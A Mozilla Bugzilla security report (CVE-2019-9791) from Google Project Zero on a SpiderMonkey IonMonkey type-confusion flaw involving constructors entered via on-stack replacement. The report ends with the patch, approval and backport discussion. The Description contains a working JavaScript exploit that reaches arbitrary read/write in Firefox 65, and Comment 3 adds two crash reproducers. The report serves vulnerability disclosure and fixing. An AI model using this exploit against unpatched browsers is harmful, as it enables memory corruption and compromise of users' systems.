1530958 - (CVE-2019-9791) Spidermonkey: IonMonkey's type inference is incorrect for constructors entered via OSR

Status: RESOLVED FIXED

(Core :: JavaScript Engine, defect, P1)

Description

[Samuel Groß]

A bug in IonMonkeys type inference system when JIT compiling and entering a constructor function via on-stack replacement (OSR) allows the compilation of JITed functions that cause type confusions between arbitrary objects.

Prerequisites:

1. Spidermonkey can represent "plain" objects either as NativeObject or as UnboxedObjects. NativeObjects are basically two pointers to type information objects (the "Group" and "Shape") as well as inline and out-of-line properties (both stored in NaN-boxed form) and elements. UnboxedObject, on the other hand, can store their properties in unboxed form, e.g. as native 32-bit integer or even 8-bit booleans. An UnboxedObject can always be converted to a NativeObject (by boxing the properties and potentially allocating out-of-line storage). This e.g. happens if, during a property assignment, the type of the new value mismatches the current type of the property. The function implementing the conversion can be found here.

2. Spidermonkey can track the possible types of object properties for the purpose of type inference. For example, after executing the following code (and assuming no other code ran that assigned a different value to a property .x), Spidermonkey will know that the property .x will always be a Uint8Array and uses that information to omit type checks in JIT compiled code.

   var o = {};
   o.x = new Uint8Array(0x1000);

   Assigning a value of a different type to such a property will invalidate (or widen) the inferred type and potentially invalidate any JITed code that relies on that.

3. A constructor in Spidermonkey can have a "template" type (Group and potentially Shape) associated with it which represents the type of the constructed objects after initialization has finished. The caller of such a constructor is responsible for allocating the newly constructed object of the final type (via js::CreateThisForFunction) and passing it as argument to the constructor. As such, JITed code for a constructor can rely on receiving an object of the template type and can use that to emit code for property stores to existing properties instead of code for property definitions (which in addition to writing the property value also have to update the Shape of the object).
   As an example, consider the following constructor function:

   function Ctor() {
   this.a = 42;
   this.b = 43;
   }

   After several invocations, the type inference system will compute the final type of the constructed objects. In that case it could be UnboxedObject with two integer properties, .a and .b. At a later point IonMonkey would start JIT compiling the constructor. By relying on the fact that the caller will always pass in an object with the template type, IonMonkey can now emit code that simply stores the two values into the existing property slots. This optimization is only possible if Spidermonkey can prove that the constructed object doesn't escape the local scope before the final property definition (and so the existence of the properties before they are actually defined in the code isn't visible to the running script). The result type for constructors is computed here.

Bug Description

The following program, when run in Spidermonkey built from current release, results in observable misbehaviour: it doesn't show the property .x even though it should exist. Slight mutations of it can also result in nullderef crashes when assigning the property .x, which is how the original sample was found during fuzzing.

function Hax(val, l) {
    this.a = val;

    for (let i = 0; i < l; i++) {}

    this.x = 42;
}

for (let i = 0; i < 1000; i++) {
    new Hax(1337, 1);
}
let obj = new Hax("asdf", 100000);
console.log(Object.getOwnPropertyNames(obj));
// prints only "a"

It appears that the following is happening here:

1. During repeated invocations in the outer loop, Spidermonkey's type inference system computes the resulting type for the constructed objects: an UnboxedObject with properties .a and .x of type integer. The constructor is then JIT compiled by IonMonkey, which makes use of the type inference to emit code for property stores to existing properties instead of property definitions.

2. During the final invocation, the JIT code attempts to set the property .a. However, the value now has the wrong type (string instead of integer) for the object. This triggers the following:

   • The current |this| object is converted to a NativeObject, which has the properties .a and .x
   • The result type for Hax is updated to now be a NativeObject with the two properties .a and .x (as the type inference for the constructor can still prove that both .a and .x will always be installed)
   • The |this| object is then "rolled back" to the type it should currently have at this position in the bytecode. Afterwards, the Shape of |this| only indicates the existence of property .a (which is correct at the current position in the code). Presumably, this is done to avoid a situation in which script code can suddenly observe that the constructed object already has the final set of properties before they are defined in the code, which could e.g. happen if the initial analysis relied on the assumption that some function or method called in the constructor was always a specific, known function and inlined it.
   • Due to the type inference change, the JIT code is deoptimized and execution continues in the baseline JIT.

3. In the following loop, IonMonkey again starts compiling Hax, and enters into the JITed code via on-stack replacement (OSR) in the middle of the function at the head of the loop. During compilation, IonMonkey again relies on the "template" type for Hax and concludes that |this| must be a NativeObject with properties .a and .x. This is incorrect in this situation, as the rollback has removed the property .x.

4. After the loop finishes, the JITed code only performs the property stores as it believes that the object already has the final Shape. As such, the property store to .x is "forgotten" and Object.getOwnPropertyNames only shows the existence of property .a

Exploitation

The JITed code after OSR expects |this| to already have the final type and thus only stores the property without updating the Shape. As a result, .x will not be visible and the next property defined on the constructed object afterwards will be assigned the same slot that .x was written into in the JITed code. With that, the following exploit becomes possible, which abuses the type inference mechanism for properties:

In the JITed code, after the loop:

1. Define a property .x on |this| as above. The compiler will infer the type of .x to be type X. This property will then be "forgotten" in the final call due to the bug.
2. Define a new property (of type Y) on the object. It will be stored into the same slot as .x (because that slot is free according the the object's Shape). This has to be a "slow path" property definition that doesn't rely on type inference and instead inspects the Shape of the object and determines the next free slot based on that.
3. Load property .x again. The compiler will infer the type of the loaded value to be X. However, it will actually load an object of type Y

As a result, it is now possible to compile JIT code that confuses an object of type X with an object of type Y where both X and Y can be arbitrarily chosen.

The following JavaScript program (tested against a local Spidermonkey build and Firefox 65.0.1) demonstrates this idea. It first triggers the type confusion between a Float64Array and a custom UnboxedObject, then gains arbitrary read/write from that, and finally crashes when writing to 0x414141414141:

let ab = new ArrayBuffer(0x1000);
let victim = new Uint8Array(0x1000);

function Hax(val, l, trigger) {
    // In the final invocation:

    // Ultimately confuse these two objects which each other.
    // x will (eventually) be an UnboxedObject, looking a bit like an ArrayBufferView object... :)
    let x = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: []};
    // y is a real ArrayBufferView object.
    let y = new Float64Array(0x1000);

    // * Trigger a conversion of |this| to a NativeObject.
    // * Update Hax's template type to NativeObject with .a and .x (and potentially .y)
    // * Trigger the "roll back" of |this| to a NativeObject with only property .a
    // * Bailout of the JITed code due to type inference changes
    this.a = val;

    // Trigger JIT compilation and OSR entry here. During compilation, IonMonkey will
    // incorrectly assume that |this| already has the final type (so already has property .x)
    for (let i = 0; i < l; i++) {}

    // The JITed code will now only have a property store here and won't update the Shape.
    this.x = x;

    if (trigger) {
        // This property definition is conditional (and rarely used) so that an inline cache
        // will be emitted for it, which will inspect the Shape of |this|. As such, .y will
        // be put into the same slot as .x, as the Shape of |this| only shows property .a.
        this.y = y;

        // At this point, .x and .y overlap, and the JITed code below believes that the slot
        // for .x still stores the UnboxedObject while in reality it now stores a Float64Array.
    }

    // This assignment will then corrupt the data pointer of the Float64Array to point to |victim|.
    this.x.data = victim;
}

for (let i = 0; i < 1000; i++) {
    new Hax(1337, 1, false);
}
let obj = new Hax("asdf", 10000000, true);

// Driver is now a Float64Array whose data pointer points to a Uint8Array.
let driver = obj.y;

// Write to address 0x414141414141 as PoC
driver[7] = 3.54484805889626e-310;
victim[0] = 42;

Please note: this bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

With any fix, please give credit for identifying the vulnerability to Samuel Groß of Google Project Zero.

Comment 1

[Johann Hofmann [:johannh]]

Steven, can you put this into the right hands please? Thanks!

Comment 2

[Steven DeTar [:sdetar]]

Ted, Kannan, can you take a look at this.

Comment 3

[Samuel Groß]

For completeness, here is a minimal crashing sample:

function Hax(val, l) {
    this.a = val;

    for (let i = 0; i < l; i++) {}

    this.x = 42;
    this.y = 42;
    // After conversion to a NativeObject, this property
    // won't fit into inline storage, but out-of-line storage
    // has not been allocated, resulting in a crash @ 0x0.
    this.z = 42;
}

for (let i = 0; i < 10000; i++) {
    new Hax(13.37, 1);
}
let obj = new Hax("asdf", 1000000);

As well as the original sample that the fuzzer triggered:

// Run with --no-threads --ion-warmup-threshold=100

function v5(v6, v8) {
    if (v8) {
        // Triggers the rollback etc. in a recursive call.
        const v11 = new v5(v6);
        const v13 = new Float32Array(40183);
        for (const v14 of v13) {
        }
    }
    // This property assignment crashes as out-of-line 
    // property storage has not been allocated yet.
    this[-3083318214] = v6;
}
for (let v19 = 0; v19 < 1337; v19++) {
    const v21 = new v5(32768, false);
}
const v22 = new v5(v5, true);

Comment 4

[Christian Holler (:decoder)]

(In reply to Samuel Groß from comment #3)

For completeness, here is a minimal crashing sample:

Thanks, much appreciated :)

Comment 5

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

function Hax(val, l) {
    this.a = val;

    for (let i = 0; i < l; i++) {}

    this.x = 42;
    this.y = 42;
    // After conversion to a NativeObject, this property
    // won't fit into inline storage, but out-of-line storage
    // has not been allocated, resulting in a crash @ 0x0.
    this.z = 42;
}

for (let i = 0; i < 10000; i++) {
    new Hax(13.37, 1);
}
let obj = new Hax("asdf", 1000000);

crashes js shell compiled with --enable-debug --enable-more-deterministic on m-c rev 198cd4a81bf2 with --fuzzing-safe --no-threads at a weird memory address.

(hooking up to JSBugMon)

Comment 6

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

autobisectjs shows this is probably related to the following changeset:

The first bad revision is:
changeset: https://hg.mozilla.org/mozilla-central/rev/322487136b28
user: Brian Hackett
date: Sun May 17 20:12:14 2015 -0600
summary: Bug 1162199 - Use unboxed objects by default, r=jandem.

Brian/Jan, is bug 1162199 a likely regressor?

(not adding to Blocks field yet)

Comment 7

[Fuzzing Team]

JSBugMon: Cannot process bug: Error: Unsupported branch "65 Branch" required by bug

Comment 8

[Fuzzing Team]

JSBugMon: Cannot process bug: Error: Unsupported architecture "Unspecified" required by bug

Comment 9

[Brian Hackett [Laid off!]]

Attachment: patch

Thanks for the detailed report! I think this is the most appropriate fix.

The fundamental problem here is a disconnect between the rollbackProperties() call in TypeNewScript::rollbackPartiallyInitializedObjects() and the clearing of definite property information in the latter's caller, ObjectGroup::clearNewScript(). When unboxed objects are in use, the objects which have their properties rolled back have the native ObjectGroup which results when an unboxed object is converted to a native object. The group which has its definite property information cleared is the original unboxed ObjectGroup, however. As a result, definite properties are not cleared from the native ObjectGroup as they should be.

It would make more sense if the rollbackProperties() call cleared definite properties for the group of the object which is having its properties rolled back. That's a more complicated fix, though. The attached patch deoptimizes UnboxedLayout::makeNativeGroup so that the definite properties are not added to the native group in the first place. Since unboxed objects are going to be removed soon it seems fine to do this.

Comment 10

[Fuzzing Team]

JSBugMon: Cannot process bug: Unable to automatically reproduce, please track manually.

Comment 11

[Jan de Mooij [:jandem]]

Unboxed objects have been disabled in the browser for most of the current Nightly cycle without major issues. I think it makes sense for us to backport bug 1525579 and bug 1526451 to beta and ESR60 to fix this bug and potential other issues in this area.

Matthew, can you combine these two patches into a single patch for both beta and ESR60, attach them to this bug, and request review + sec-approval? Thanks!

Comment 12

[Jan de Mooij [:jandem]]

Comment on attachment 9047217 [details] [diff] [review]
patch

Review of attachment 9047217 [details] [diff] [review]:
-----------------------------------------------------------------

Thanks for jumping on this, Brian! I think we should disable unboxed objects in the browser across all branches. We could land this patch anyway or drop it...

Comment 13

[Kannan Vijayan [:djvj]]

I would advocate landing this patch. It's a serious security issue, and we don't want to conflate the priorities of the two issues (security bug vs. ongoing evaluation of cleanup/refactoring). One doesn't block or impede the other work, and they are effectively independent even though technically they overlap.

Comment 14

[Matthew Gaudet (he/him) [:mgaudet]]

Attachment: DisableUnboxedObjects.esr60.patch

Comment 15

[Matthew Gaudet (he/him) [:mgaudet]]

Attachment: DisableUnboxedObjects.beta.patch

I'll leave the decision about how we want to address this to others, but here are the rollup patches as requested.

The beta patches grafted cleanly, the esr60 patch needed cleanup due to clang-format gone-wrong (i'd try build this patch if I was sure we were gonna land it).

Comment 16

[Jan de Mooij [:jandem]]

(In reply to Kannan Vijayan [:djvj] from comment #13)

I would advocate landing this patch. It's a serious security issue, and we don't want to conflate the priorities of the two issues (security bug vs. ongoing evaluation of cleanup/refactoring). One doesn't block or impede the other work, and they are effectively independent even though technically they overlap.

One reason I'm doing this is that pwn2own is coming up and disabling now will reduce attack surface quite a lot and disable some complicated code paths (as shown here).

Comment 17

[Jan de Mooij [:jandem]]

Comment on attachment 9047217 [details] [diff] [review]
patch

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Difficult but might be possible.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which older supported branches are affected by this flaw?: All
• If not all supported branches, which bug introduced the flaw?: Bug 1162199
• Do you have backports for the affected branches?: Yes
• If not, how different, hard to create, and risky will they be?: Should apply or be easy to apply.
• How likely is this patch to cause regressions; how much testing does it need?: Unlikely, especially if we uplift the other patches to disable this feature completely.

Comment 18

[Jan de Mooij [:jandem]]

Comment on attachment 9047217 [details] [diff] [review]
patch

Beta/Release Uplift Approval Request

• Feature/Bug causing the regression: Bug 1530958
• User impact if declined: Security issues.
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Medium
• Why is the change risky/not risky? (and alternatives if risky): Relatively small and self-contained fix.
• String changes made/needed: None

Comment 19

[Jan de Mooij [:jandem]]

Comment on attachment 9047741 [details] [diff] [review]
DisableUnboxedObjects.esr60.patch

This patch will disable unboxed objects on ESR60, both fixing this bug and reducing attack surface. Should be low risk because we've tested this for weeks on Nightly without any issues.

Comment 20

[Jan de Mooij [:jandem]]

Comment on attachment 9047742 [details] [diff] [review]
DisableUnboxedObjects.beta.patch

This patch will disable unboxed objects on beta, both fixing this bug and reducing attack surface. Should be low risk because we've tested this for weeks on Nightly without any issues.

Comment 21

[Ted Campbell [:tcampbell]]

I agree with this approach of backporting the pref and disabling. We are still on track to start removing the unboxed objects machinery from central in a few weeks so I think disabling it on all branches in light of sec problems is the right call. It is going to be quickly slipping from our attention as well.

Comment 22

[Al Billings [:abillings - ex-MoCo]]

Comment on attachment 9047217 [details] [diff] [review]
patch

Giving sec-approval and other approvals after talking to Liz.

Comment 23

[Jan de Mooij [:jandem]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/d33d48a3998ab78902c384c9a6f752fc74b1fa8e

Comment 24

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/d33d48a3998a

Comment 25

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/releases/mozilla-beta/rev/8d7186b2f9a6

Comment 26

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/releases/mozilla-esr60/rev/4d66dfe11b05

Comment 27

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out for bustage due to failing xpcshell selftest testChild and crashes detected by marionette, all on debug:

https://hg.mozilla.org/releases/mozilla-esr60/rev/b75bf16b9b98bd4ecf11ffc969275a4baa9e366f

Push with bustage and failures: https://treeherder.mozilla.org/#/jobs?repo=mozilla-esr60&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel%2Crunnable&group_state=expanded&revision=4d66dfe11b05fe6d4ffe2489afc9be9e6533f228
Failure log: https://treeherder.mozilla.org/logviewer.html#?job_id=232386427&repo=mozilla-esr60

[task 2019-03-07T11:16:20.343Z] 11:16:20 WARNING - E TEST-UNEXPECTED-FAIL | test_child_assertions.js | xpcshell return code: 0
[task 2019-03-07T11:16:20.343Z] 11:16:20 INFO - E TEST-INFO took 428ms
[task 2019-03-07T11:16:20.343Z] 11:16:20 INFO - E >>>>>>>
[task 2019-03-07T11:16:20.344Z] 11:16:20 INFO - E PID 4663 | [4663, Main Thread] WARNING: Couldn't get the user appdata directory. Crash events may not be produced.: file /builds/worker/workspace/build/src/toolkit/crashreporter/nsExceptionHandler.cpp, line 2478
[task 2019-03-07T11:16:20.344Z] 11:16:20 INFO - E (xpcshell/head.js) | test MAIN run_test pending (1)
[task 2019-03-07T11:16:20.344Z] 11:16:20 INFO - E (xpcshell/head.js) | test run_next_test 0 pending (2)
[task 2019-03-07T11:16:20.344Z] 11:16:20 INFO - E (xpcshell/head.js) | test MAIN run_test finished (2)
[task 2019-03-07T11:16:20.344Z] 11:16:20 INFO - E running event loop
[task 2019-03-07T11:16:20.344Z] 11:16:20 INFO - E PID 4663 | Couldn't convert chrome URL: chrome://branding/locale/brand.properties
[task 2019-03-07T11:16:20.344Z] 11:16:20 INFO - E PID 4663 | [4663, Main Thread] WARNING: Could not get the program name for a cubeb stream.: 'NS_SUCCEEDED(rv)', file /builds/worker/workspace/build/src/dom/media/CubebUtils.cpp, line 399
[task 2019-03-07T11:16:20.344Z] 11:16:20 INFO - E test_child_assertions.js | Starting test_child_assert
[task 2019-03-07T11:16:20.345Z] 11:16:20 INFO - E (xpcshell/head.js) | test test_child_assert pending (2)
[task 2019-03-07T11:16:20.345Z] 11:16:20 INFO - E PID 4663 | [Parent 4663, Main Thread] WARNING: Couldn't get the user appdata directory, crash dumps will go in an unusual location: file /builds/worker/workspace/build/src/toolkit/crashreporter/nsExceptionHandler.cpp, line 2548
[task 2019-03-07T11:16:20.345Z] 11:16:20 INFO - E PID 4663 | [Parent 4663, Main Thread] WARNING: Couldn't get the user appdata directory. Crash events may not be produced.: file /builds/worker/workspace/build/src/toolkit/crashreporter/nsExceptionHandler.cpp, line 2478
[task 2019-03-07T11:16:20.345Z] 11:16:20 INFO - E PID 4663 | [Parent 4663, Main Thread] WARNING: 'NS_FAILED(rv)', file /builds/worker/workspace/build/src/extensions/spellcheck/src/mozPersonalDictionary.cpp, line 208
[task 2019-03-07T11:16:20.345Z] 11:16:20 INFO - E PID 4663 | Hit MOZ_CRASH(accessing non-early pref javascript.options.unboxed_objects before late prefs are set) at /builds/worker/workspace/build/src/modules/libpref/Preferences.cpp:866

Comment 28

[Matthew Gaudet (he/him) [:mgaudet]]

Attachment: DisableUnboxedObjects.esr60.patch

TIL: ESR-60 requires some prefs to be whitelisted for early access.

This patch adds the unboxed objects pref to the ContentPrefs whitelist.

Jan: The comments say we need a DOM peer to approve changes to said whitelist: who would we ask for that approval? (Not sure how this works with sec bugs).

Comment 29

[Jan de Mooij [:jandem]]

(In reply to Matthew Gaudet (he/him) [:mgaudet] from comment #28)

Jan: The comments say we need a DOM peer to approve changes to said whitelist: who would we ask for that approval?

Andrew, can you approve adding this JS pref to ContentPrefs.cpp on ESR 60? Thanks.

Comment 30

[Andrew McCreight [:mccr8]]

Comment on attachment 9049173 [details] [diff] [review]
DisableUnboxedObjects.esr60.patch

Review of attachment 9049173 [details] [diff] [review]:
-----------------------------------------------------------------

r=me for the content prefs changes.

Comment 31

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/releases/mozilla-esr60/rev/ad8aa9fd2b56a3cba902f4468a38bbce4219e9f9

Comment 32

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out from esr60 for bustage in Value.h:

https://hg.mozilla.org/releases/mozilla-esr60/rev/ef44f7edba1b4a55b673efb354d5e3b85a552a82

Push with bustage: https://treeherder.mozilla.org/#/jobs?repo=mozilla-esr60&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Cusercancel%2Crunnable&group_state=expanded&selectedJob=232395369&revision=c2c87ed541e9358436efd59014e8d0cdc3eb4d1f
Failure log: https://treeherder.mozilla.org/logviewer.html#?job_id=232615853&repo=mozilla-esr60
[task 2019-03-08T09:56:10.495Z] 09:56:10 INFO - /builds/worker/workspace/build/src/obj-firefox/dist/include/js/Value.h:590:29: error: 'const union JS::Value::layout' has no member named 's_'; did you mean 's'?
[task 2019-03-08T09:56:10.495Z] 09:56:10 INFO - MOZ_RELEASE_ASSERT(data.s_.payload_.why_ == why);
[task 2019-03-08T09:56:10.496Z] 09:56:10 INFO - ^

Line in current es60: https://hg.mozilla.org/releases/mozilla-esr60/file/ad8aa9fd2b56a3cba902f4468a38bbce4219e9f9/js/public/Value.h#l587

MOZ_ASSERT_IF(isMagic(), data.s.payload.why == why);

On central: https://searchfox.org/mozilla-central/rev/b2d35912da5b2acecb0274eb113777d344ffb75e/js/public/Value.h#659

Changed by bug 1511181 (reformat to Google code style).

Comment 33

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Relanded because the bustage was from the other changeset /(bug 1532599): https://hg.mozilla.org/releases/mozilla-esr60/rev/8ad15c461a7caadbe96b664c5d4c743d53ceb3c0

Comment 34

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Backed out for bustages and failures due to the content preferences not being alphabetically ordered:

https://hg.mozilla.org/releases/mozilla-esr60/rev/979047f250838fc75dea5bd34a5ddfae0a6cfa8f

Push with failures: https://treeherder.mozilla.org/#/jobs?repo=mozilla-esr60&resultStatus=testfailed%2Cbusted%2Cexception%2Cretry%2Crunnable&group_state=expanded&selectedJob=232395369&revision=8ad15c461a7caadbe96b664c5d4c743d53ceb3c0

Relanded: https://hg.mozilla.org/releases/mozilla-esr60/rev/05cf99a95206ec1e43e408b3ae0a78e5b5b03372

Comment 35

[Andrew McCreight [:mccr8]]

The Project Zero writeup has been made public:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1791